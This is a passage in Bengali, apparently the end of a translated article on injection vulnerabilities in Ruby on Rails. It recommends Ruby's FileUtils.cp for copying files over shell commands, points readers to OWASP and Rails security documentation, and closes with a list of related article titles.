এটা একটু স্পষ্ট মনে হতে পারে; কেন কেউ কমান্ড সিস্টেমের মাধ্যমে একটি ফাইল অনুলিপি করছে? লিগ্যাসি অ্যাপ্লিকেশনের সংখ্যা দেখে আপনি হতবাক হবেন। তাদের মধ্যে অনেকগুলি বিশাল কোডবেস দ্বারা গঠিত, যা এই ধরনের দুর্বলতা শনাক্ত করার কাজটিকে একটি কঠিন কাজে পরিণত করতে পারে৷

তাই, হ্যাঁ, শুধু অফিসিয়াল অভ্যন্তরীণ লাইব্রেরি ব্যবহার করুন, যেমন Ruby's FileUtils:

FileUtils.cp
  "#{full_file_name}",
  "#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}"

র্যাপিং আপ

আজ, আমরা ইনজেকশন নিরাপত্তা হুমকির উত্তাল জলের মধ্য দিয়ে নেভিগেট করেছি। যদিও এই অংশটি ইনজেকশন সংক্রান্ত সমস্যাগুলির আশেপাশের সমস্ত সম্পর্কযুক্ত সমস্যাগুলিকে কভার করে না, এটি OWASP দ্বারা চিহ্নিত সর্বাধিক বিখ্যাতগুলিকে অন্বেষণ করে৷

বোনাস হিসেবে, আমি কিছু গুরুত্বপূর্ণ লিঙ্ক প্রদান করব যা আপনার বিষয়ের জ্ঞান উন্নত করতে সাহায্য করবে। প্রথমটি, অবশ্যই, OWASP শীর্ষ দশ নিবন্ধ; এটিতে অন্যান্য নিবন্ধগুলির প্রচুর বাহ্যিক লিঙ্ক রয়েছে যা উদাহরণ এবং বিভিন্ন পরিস্থিতি অন্তর্ভুক্ত করে৷

রেল এসকিউএল ইনজেকশন সম্প্রদায়ের কিছু সদস্য দ্বারা সংকলিত ডকুমেন্টেশন তৈরি করা হয়েছে যা ব্যবহারিক উদাহরণের মাধ্যমে সাধারণ এসকিউএল ইনজেকশনগুলিকে সম্বোধন করে। আমরা এখন পর্যন্ত যা কভার করেছি তার পরে এটি অবশ্যই পড়া উচিত।

শেষ কিন্তু অন্তত নয়, অফিসিয়াল সিকিউরিটি রেল ডক্স পাওয়া যায়। তারা ইনজেকশন সহ রেল অ্যাপ্লিকেশনের মধ্যে নিরাপত্তা সংক্রান্ত সবকিছু কভার করে। সুতরাং, এটি একটি পুঙ্খানুপুঙ্খভাবে পড়া দিতে ভুলবেন না. আপনার পড়াশোনা চালিয়ে যান, এবং আমরা আপনাকে আমাদের পরবর্তী স্টপে দেখতে পাব!


  1. সর্বশেষ Windows 10 নিরাপত্তা হুমকি এবং দুর্বলতা (2019)

  2. নেটওয়ার্ক নিরাপত্তার জন্য কিছু হুমকি কি?

  3. রেল নিরাপত্তা হুমকি:প্রমাণীকরণ

  4. শীর্ষ 5 তথ্য নিরাপত্তা হুমকি